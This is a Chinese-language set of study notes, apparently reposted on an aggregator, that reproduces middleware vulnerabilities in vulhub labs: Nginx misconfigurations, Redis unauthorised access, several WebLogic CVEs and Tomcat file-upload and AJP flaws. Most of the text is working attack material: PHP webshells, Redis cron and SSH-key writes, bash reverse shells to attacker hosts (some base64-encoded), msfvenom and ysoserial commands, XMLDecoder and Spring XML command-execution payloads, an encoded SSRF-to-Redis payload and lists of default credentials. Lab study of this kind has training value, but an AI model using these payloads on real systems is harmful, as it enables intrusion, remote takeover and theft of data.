中间件漏洞

news/2024/6/27 3:44:08

Nginx

Nginx不安全配置漏洞
/usr/local/soft/vulhub/nginx/insecure-configuration
1.目录穿越漏洞

http://your-ip:8081/files../

image

2.CRLF注入漏洞

location / { return 302 https://$host$uri; }
原本的目的是为了让http的请求跳转到https上

利用方式

%0d%0a%0d%0a<script>alert('xss')</script>

image

自定义cookie内容

/%0d%0aSet-Cookie:Tes3:0Gen

修复建议

修改配置文件如下:
location / {return 302 https://$host$request_uri;
}

3.add_header被覆盖
Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。

server {...add_header Content-Security-Policy "default-src 'self'";add_header X-Frame-Options DENY;location = /test1 {rewrite ^(.*)$ /xss.html break;}location = /test2 {add_header X-Content-Type-Options nosniff;rewrite ^(.*)$ /xss.html break;}
}

但/test2的location中又添加了X-Content-Type-Options头,nginx仅载入模块内部的头部修改信息,则会导致在父块中配置的 add_header Content-Security-Policy "default-src 'self'";无法在/test2中生效。从而使/test2这里无法获得防御功能

http://127.0.0.:8082/test2#<script>alert(1)</script>

Nginx解析漏洞
由于nginx.conf的配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。

/usr/local/soft/vulhub/nginx/nginx_parsing_vulnerability

上传jpg图片,抓包在末尾添加

image

访问路径,在路径末尾添加/xxx.php

http://192.168.226.132/uploadfiles/5a19122a1b12cf907bad9132955a4329.jpg/xxx.php

image
利用方式2
image
上传一句话图片码
image
image

Redis未授权访问漏洞

1.Redis介绍
Redis服务器被挖矿案例
恶意代码做了什么?

1)拿到服务器root权限
2)替换一些命令,删除一些文件
3)扫描端口,干掉其他挖矿程序
4)下载恶意脚本执行
5)生成SSH文件,实现免密登录

redis使用

语法	操作
赋值	set wuya 666 /hset hash a 1 b 2 c 3 d 4
清空	flushall
取值	get wuya
查所有	keys *
Redis持久化机制

自动触发

配置: vim redis.conf
1、save 3600 1#自动触发规则 (一小时内修改则触发)
2、dbfilename dump.rdb#保存文件名
3、dir./#存储路径

手动触发

保存命令:save/bgsave

3.Redis动态修改配置

客户端连接服务端

redis-cli -h 192.168.226.131 -p 6379 -a admin

退出后无法重连,在服务端执行一下iptables -F就好了
连接完redis后才能修改
config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost 80/wwwroot
config set dbfilename redis.php
image

webshell提权

redis-cli-h192.168.226.131 -p6379 -aadmin
config set dir /www/admin/localhost 80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]);?>
save

上面写入一句话木马后,浏览器访问http://192.168.226.131/redis.php
image
直接上蚁剑

总结
流程
1、监听端口
2、执行命令,或者上传payload访问,建立连接怎么上传?
1、文件上传漏洞
2、写入文件:MySQL、Redis、CMS
3、文本编辑命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)怎么执行?
访问或者定时任务自动触发

Redis写入反弹连接任务
定时任务crontab
命令 操作
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务
cron文件存储路径
路径 内容
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
实现每隔五秒打印时间到time.txt
time.cron文件

*/1 * * * * /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 5 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 10 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 15 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 20 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 25 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 30 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 35 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 40 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 45 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 50 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 55 && /bin/date >>/usr/local/soft/date.txt

添加到定时任务

crontab -u root time.cron

实时查看date.txt

tail -f date.txt
Fri Mar 22 09:50:02 CST 2024
Fri Mar 22 09:50:07 CST 2024
Fri Mar 22 09:50:12 CST 2024
Fri Mar 22 09:50:17 CST 2024
Fri Mar 22 09:50:22 CST 2024
Fri Mar 22 09:50:27 CST 2024
Fri Mar 22 09:50:32 CST 2024
Fri Mar 22 09:50:37 CST 2024
Fri Mar 22 09:50:42 CST 2024
Fri Mar 22 09:50:47 CST 2024
Fri Mar 22 09:51:02 CST 2024
Fri Mar 22 09:51:07 CST 2024
Fri Mar 22 09:51:12 CST 2024
Fri Mar 22 09:51:17 CST 2024

Redis写入定时任务(反弹shell)
cilent
开启7777监听

[root@localhost chen_rk]# nc -lvp 7777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 192.168.226.131.
Ncat: Connection from 192.168.226.131:35232.
bash: no job control in this shell

redis写入定时任务,修改路径到定时任务路径

192.168.226.131:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.226.132/7777 0>&1\n"
OK
192.168.226.131:6379> config set dir /var/spool/cron/
OK
192.168.226.131:6379> config set dbfilename root
OK
192.168.226.131:6379> save
OK

一分钟后成功连接
SSH key免密登
流程
1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配5、客户端免密登录成功
client

[root@localhost ~]# ssh-keygen  一直回车,生成隐藏文件.ssh
[root@localhost ~]# ls -a
[root@localhost ~]# cd .ssh/
[root@localhost .ssh]# ls
id_rsa  id_rsa.pub
[root@localhost .ssh]# ssh-copy-id root@192.168.226.131 #传给server,需要服务端密码
[root@localhost .ssh]# ssh -i ./id_rsa root@192.168.226.131 免密连接

写入公钥

set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZomGEMR1U4NQ34CE/0ORBLTwErm9Rqit6O9tu2NFdsQMQAVRHtK0fFrtDQ4bRW1ljQjf7Wa12HAq+nJJZTYQhiDT1EocozPvxKg539qLmIp24kUHmOpDe24C9dWAt01A7+cg0ftNuxd/ea0kIBFT9LmOcjTLDeu3czefzEckffXPTELTk+66cNwrt1fY0jq8NkLfwvZ8JnkQEr+kDOBgf2kdsFn4nDC3smoifDWKVYHAIinAhwZDCgL3whpr/5cSteihzyleLCeKbdv9dfFWifkBeXy1CIFk808ruTVP2mVTu+hXyMNutlfPzDcO2X6q9xfwv20MyCbiOn1Z96W1F root@localhost.localdomain\n\n\n"

利用redis写入ssh key

[root@localhost .ssh]# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZomGEMR1U4NQ34CE/0ORBLTwErm9Rqit6O9tu2NFdsQMQAVRHtK0fFrtDQ4bRW1ljQjf7Wa12HAq+nJJZTYQhiDT1EocozPvxKg539qLmIp24kUHmOpDe24C9dWAt01A7+cg0ftNuxd/ea0kIBFT9LmOcjTLDeu3czefzEckffXPTELTk+66cNwrt1fY0jq8NkLfwvZ8JnkQEr+kDOBgf2kdsFn4nDC3smoifDWKVYHAIinAhwZDCgL3whpr/5cSteihzyleLCeKbdv9dfFWifkBeXy1CIFk808ruTVP2mVTu+hXyMNutlfPzDcO2X6q9xfwv20MyCbiOn1Z96W1F root@localhost.localdomain
client
192.168.226.131:6379> flushall
OK
192.168.226.131:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZomGEMR1U4NQ34CE/0ORBLTwErm9Rqit6O9tu2NFdsQMQAVRHtK0fFrtDQ4bRW1ljQjf7Wa12HAq+nJJZTYQhiDT1EocozPvxKg539qLmIp24kUHmOpDe24C9dWAt01A7+cg0ftNuxd/ea0kIBFT9LmOcjTLDeu3czefzEckffXPTELTk+66cNwrt1fY0jq8NkLfwvZ8JnkQEr+kDOBgf2kdsFn4nDC3smoifDWKVYHAIinAhwZDCgL3whpr/5cSteihzyleLCeKbdv9dfFWifkBeXy1CIFk808ruTVP2mVTu+hXyMNutlfPzDcO2X6q9xfwv20MyCbiOn1Z96W1F root@localhost.localdomain\n\n\n"
OK
192.168.226.131:6379> config set dir /root/.ssh
OK
192.168.226.131:6379> config set dbfilename authorized_keys
OK
192.168.226.131:6379> save
OK

上传完成后连接即可

[root@localhost ~]# ssh -i ./id_rsa root@192.168.226.131
Warning: Identity file ./id_rsa not accessible: No such file or directory.
Last login: Fri Mar 22 10:45:46 2024 from 192.168.226.132
[root@localhost ~]# ifconfig

Redis其他利用方式


基于主从复制的RCE(Remote Code Execution)
jackson反序列化利用
lua RCE
Redis密码爆破

Redis加固方案

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis

Weblogic漏洞
1.Weblogic基本介绍
全名:Oracle WebLogic Server,JavaEE服务器
商业产品,适用于大型商业项目
同类产品:IBMWebSphere、ApacheTomcat、Redhat Jboss
常见版本:WebLogic Server 10.x ——11g WebLogic Server 12.x ——12c
vulhub靶场——基于WebLogic Server 10.3.6
默认端口:7001
漏洞利用工具

奇安信搭建工具(其他版本)
https://github.com/QAX-A-Team/WeblogicEnvironment
课程涉及工具:
CentOS、Kali、BurpSuite
解密工具
https://github.com/TideSec/Decrypt_Weblogic_Password
weblogic漏洞综合利用工具(深信服)
https://github.com/KimJun1010/WeblogicTool

image

2.弱口令、任意文件读取
weblogic常用弱口令:

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

(1)弱口令登录

http://192.168.226.131:7001/console/
weblogic:Oracle@123

(2)任意文件读取
漏洞描述:可以读取服务器任意文件。在读取到密钥和密码密文以后,可以AES解密出后台密码。

http://192.168.142.133:7001/hello/file.jsp?path=/etc/passwd
密文绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat,相对路径:security/SerializedSystemIni.dat
密钥绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml ,相对路径:config/config.xml

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

将二进制改为111.data文件
image
找到密钥
image
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
jdk必须是8
image
getshell 成功登录后台后,用kali制作一个waf包木马部署到后台

1、kali生成木马
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.162lport=4444 -f war -o java.war
2、点击左侧 部署->安装->上传war包->(全部下一步)->完成3、kali监听
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.142.162
set LPORT 4444
exploit
4、访问:
http://192.168.142.133:7001/java

3.任意文件上传CVE-2018-2894
影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

[root@localhost CVE-2018-2894]# docker-compose up -d
[root@localhost CVE-2018-2894]# docker compose logs | grep password
cve-2018-2894_weblogic_1  |----> 'weblogic' admin password: KuK4Sre0

image

登陆后台后修改base_domain设置
image

漏洞地址:
http:/192.168.226.131:7001/ws_utc/config.do
image

修改工作目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击安全——添加,上传大马dama.jsp
image

F12,搜索keystore_table,找到时间戳
image

http://192.168.226.131:7001/ws_utc/css/config/keystore/1711184487975_dama.jsp
image

成功进入后台
image

4.SSRF CVE-2014-4210
影响版本:weblogic 10.0.2 – 10.3.6
漏洞环境 vulhub/weblogic/ssrf
获取内网IP: docker ps docker exec -it 容器ID ifconfig

访问: http://192.168.142.133:7001/uddiexplorer/ (无需登录)
http://192.168.142.133:7001/uddiexplorer/SearchPublicRegistries.jsp抓包,修改operator值为:http://172.21.0.2.6379/
[root@localhost ssrf]# docker ps
[root@localhost ssrf]# docker exec -it c51b bash
获得内网ip号 172.18.0.3

访问:

http://192.168.142.133:7001/uddiexplorer/ (无需登录)
http://192.168.142.133:7001/uddiexplorer/SearchPublicRegistries.jsp
抓包,修改operator值为:http://172.21.0.3.6379/

随便输入内容抓包
image

数据包

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.226.131:7001
Content-Length: 171
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.226.131:7001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.226.131:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=MYQBmQKMW11pbL6JCw0n2Qcrfs6VDPTxJhrGq2pk3vWs1y2cTFdm!560318978
Connection: closeoperator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&rdoSearch=name&txtSearchname=12312&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

替换成内网的6379端口
image

发包提示报错,说明正常开放,即有ssrf漏洞
image

反弹payload
开启kali
1、payload内容

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.226.130/7777 0>&1' \n\n\n\n" 
config set dir /etc/	
config set dbfilename crontab
save

2、编码网站(encodeURIComponent编码方式)

http://www.kuquidc.com/enc/urlencode.php
将所有%0A替换成%0D%0A(Redis协议以 CRLF 结尾(即"\r\n"))
编码完再在最后面加一个%0D%0Alalala(lalala随便)
前面的路径后面再加两个%0D%0A%0D%0A

3、kali监听

nc -lvp 7777

对payload进行url编码
image

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0A%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0Aconfig%20set%20dir%20%2Fetc%2F%09%0Aconfig%20set%20dbfilename%20crontab%0Asave

再将所有%0A替换成 %0D%0A
image

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0D%0A%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0D%0Aconfig%20set%20dir%20%2Fetc%2F%09%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

编码完再在最后面加一个%0D%0Alalala(lalala随便)
前面的路径后面再加两个%0D%0A%0D%0A
image

http://172.18.0.3:6379/test/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0D%0A%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0D%0Aconfig%20set%20dir%20%2Fetc%2F%09%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Alalala

kali开启监听

┌──(root㉿kali)-[/home/kali]
└─# nc -lvp 7777
listening on [any] 7777 ...

修改参数

operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0D%0Aconfig%20set%20dir%20%2Fetc%2F%09%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Alalala&rdoSearch=name&txtSearchname=12312&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

或者,反正两次都没成功

http://172.21.0.3.6379/test/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0Aconfig%20set%20dir%20%2Fetc%2F%09%0Aconfig%20set%20dbfilename%20crontab%0Asave%0D%0A%0D%0Aaaa

image

5.CVE-2020-14882-远程代码执行
weblogic未授权漏洞:CVE-2020-14882
weblogic命令执行漏洞:CVE-2020-14883
1、CVE-2020-14882允许未授权的用户绕过管理控制台
(Console)的权限验证访问后台,CVE-2020-14883允许后
台任意用户通过HTTP协议执行任意命令。
2、使用这两个漏洞组成的利用链,可通过一个GET请求在远程
Weblogic服务器上以未授权的任意用户身份执行命令
影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
测试是否存在未授权访问:直接访问后台

http://192.168.142.133:7001/console/css/%252e%252e%252fconsole.port
al?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage&handle=co
m.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_d
omain%2CType%3DDomain%22%29

利用方式

三种利用方式(扩展资料):
https://mp.weixin.qq.com/s/knejHKP43SjifXMZFs7BVQ
1、执行payload后不回显,但是已经执行成功。
使用GET请求或者使用dnslog平台进行验证
2、执行payload后回显
通过GET方式进行payload提交
通过POST方式进行payload提交
3、通过把payload构造为XML格式进行引用(本节课演示的方法)

poc.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/192.168.226.130/5555 0>&1]]></value></list></constructor-arg></bean>
</beans>

image

再开启监听
image

访问

http://192.168.226.131:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.226.130:8888/poc.xml")

连接成功
image

6.CVE-2018-2628-T3协议反序列化漏洞
漏洞描述
1、Weblogic开放控制台的7001端口,默认会开启T3协议服务
2、Weblogic的T3协议实现了RMI(远程方法调用),在WebLogic Server 和其他 Java 程序间传输数据
3、T3协议的缺陷触发了Weblogic Server WLS Core Components中存在的反序列化漏洞
4、攻击者可以发送构造的恶意T3协议数据,服务器反序列化以后执行恶意代码,获取到目标服务器权限
原理分析(拓展资料):

https://xz.aliyun.com/t/8073

T3反序列化漏洞概况
影响版本:
10.3.6.0/12.1.3.0/12.2.1.2/12.2.1.3
漏洞环境:
vulhub/weblogic/CVE-2018-2628
T3协议检测:

nmap -n -v -p 7001,7002 192.168.142.133 --script=weblogic-t3-info

利用流程
image

复现步骤(总体)
1、kali启动JRMPListener,参数包含恶意代码恶意代码的作用是连接到7777端口)
2、kali创建7777端口监听
3、运行poc.py,让漏洞服务器主动连接RMI服务器,进而下载恶意代码,建立反弹连接
操作
1、生成反弹连接

bash -i >& /dev/tcp/192.168.226.130/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

2、kali启动JRMPListener

┌──(root㉿kali)-[/home/kali]
└─#java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761
CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"

3、kali监听

nc -lvp 7777

4、kali运行运行POC(只支持Python2)

python2 cve-2018-2628-exp.py 192.168.226.131 7001 ysoserial.jar 192.168.226.130 8761 JRMPClient

7.CVE-2017-10271-XML反序列化漏洞

漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
原理分析(拓展资料):
https://xz.aliyun.com/t/10172
影响版本:
10.3.6.0.0/12.1.3.0.0/12.2.1.1.0/12.2.1.2.0
漏洞环境
vulhub/weblogic/CVE-2017-10271
访问
http://192.168.226.131:7001/wls-wsat/CoordinatorPortType
image

说明支持xml格式的文件传输(响应头可看)
kali开启监听端口

nc -lvp 8888

poc.xml,Repeater发包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.226.131:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.226.130/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功连接
image

8.CVE-2023-21839-JNDI注入漏洞
1、T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通过lookup代码c.lookup("xxxxxx"); 查看
2、远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象getReferent方法
3、由于weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现getReferent方法,存在retVal =context.lookup(this.remoteJNDIName)实现,所以能够通过RMI/LDAP远程协议进行远程命令执行
注:JNDI注入可以参考学习:《CVE漏洞复现-Log4j漏洞》
JNDI注入漏洞
影响版本:12.2.1.3.0/12.2.1.4.0/14.1.1.0.0
漏洞环境
vulhub/weblogic/CVE-2023-21839
操作

1、执行JNDI-Injection-Exploit-1.0.jar
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"

image

选择jdk1.8和ldap

ldap://192.168.226.130:1389/jmvaef

2、kali开启7777监听

nc -lvp 7777

3、Windows向漏洞服务器发送poc

CVE-2023-21839.exe -ip 192.168.226.131 -port 7001 -ldap ldap://192.168.226.130:1389/jmvaef

image

4、成功连接
image
工具
https://github.com/KimJun1010/WeblogicTool

Tomcat漏洞

CVE-2017-12615任意文件写入
影响版本:7.0.0-7.0.81
漏洞原理:
由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控

sudo docker-compose up -ddocker ps    //查看docker环境是否启动成功

打开网页抓包,上传文件
image
image

sudo docker exec -ti ec bash    //进入docker容器cat conf/web.xml | grep readonly
cd /usr/local/tomcat/webapps/ROOTls
cat ./test.txt

使用PUT方法上传任意文件,但限制了jsp后缀的上传,这里首先使用PUT方法直接上传一个冰蝎的jsp上去,发现返回的是404,应该是被拦截了
image

1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.13. /在文件名中是非法的,也会被去除(Linux/Windows)Put/a001.jsp/http:/1.1
首先使用%20绕过。我们知道%20对应的是空格,在windows中若文件这里在jsp后面添加%20即可达到自动抹去空格的效果。这里看到返回201已经上传成功了
image

第二种方法为在jsp后缀后面使用/,因为/在文件名中是非法的,在windows和linux中都会自动去除。根据这个特性,上传/ice1.jsp/,看到返回201
image

第三种方法就是使用Windows NTFS流,在jsp后面添加::$DATA,看到返回201,上传成功
image
image

CVE-2020-1938 AJP文件包含漏洞
CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害
漏洞原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
image
image
image

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
image

因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path
然后封装成对应的request之后,继续走servlet的映射流程如下
image

tomcat8弱口令
Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf/tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。
Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。
登录抓包
image
进行组合编码爆破
image
image
image

爆出密码是tomcat:tomcat,但是现在的靶机无法用这个账号密码了,无法演示
成功登录后进行getshell,上传war包(冰蝎war包),连接即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/47030.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Day 26| 39. 组合总和 、 40.组合总和II 、 131.分割回文串

组合总和本题是 集合里元素可以用无数次,那么和组合问题的差别 其实仅在于 startIndex上的控制 题目链接/文章讲解:https://programmercarl.com/0039.组合总和.html 视频讲解:https://www.bilibili.com/video/BV1KT4y1M7HJ 给定一个无重复元素的数组 candidates 和一个目标数…

2024嵌入式大作业

2024年上海交通大学嵌入式课程大作业 本学年是嵌入式第一次上升到4学分,即在原本的2学分的理论课程之上增设了2学分的实验课,因而成为了一门大课。 不同老师之间大作业的要求不同,所以我把我们班的实验要求罗列出来,并谈一谈我的实现方案,希望能够作为前人的智慧,起到抛砖…

【Playwright+Python】系列教程(一)环境搭建及脚本录制

前言 看到这个文章,有的同学会说: 六哥,你为啥不早早就写完python系列的文章。 因为有徒弟需要吧,如果你也想学自学,那这篇文章,可以说是我们结缘一起学习的开始吧! 如果对你有用,建议收藏和转发! Playwright是什么? 微软开源自动化测试工具Playwright,支持主流浏览…

苹果CMS 阿里云OSS插件

直接下载插件上传到CMS的addons目录解压点击启用插件点击配置插件配置完毕后进入系统菜单>附件参数配置保存方式改为阿里云OSS即可需要插件直接联系我 :vx:qianjingchuangqi本文来自博客园,作者:ikay,转载请注明原文链接:https://www.cnblogs.com/ikay/p/18255405

PPT使用技巧

PPT使用说明: 查看版本:账户 撤回次数: 自动保存: 图片压缩:(ppt图片默认是压缩的),只针对单个ppt文件 字体嵌入:解决不同电脑导致字体显示的不一样。 ppt多格式导出:如视频、图片、图片型的ppt 参考线: 默认字体: 默认样式:设置所有图形的样式清除占位符:…

点云分割网络PointConv

PDF:《PointConv: Deep Convolutional Networks on 3D Point Clouds》 CODE: https://github.com/DylanWusee/pointconv 一、大体内容 PointConv是一种在非均匀采样下对3D点云进行卷积的运算,可以用来构建深度卷积网络,其将卷积核视为由权重函数和密度函数组成的三维点的局部…

算法金 | 一个强大的算法模型:t-SNE !!

大侠幸会,在下全网同名「算法金」0 基础转 AI 上岸,多个算法赛 Top「日更万日,让更多人享受智能乐趣」t-SNE(t-Distributed Stochastic Neighbor Embedding)是一种用于降维和数据可视化的非线性算法。它被广泛应用于图像处理、文本挖掘和生物信息学等领域,特别擅长处理高…

软件测试理论基础Part2

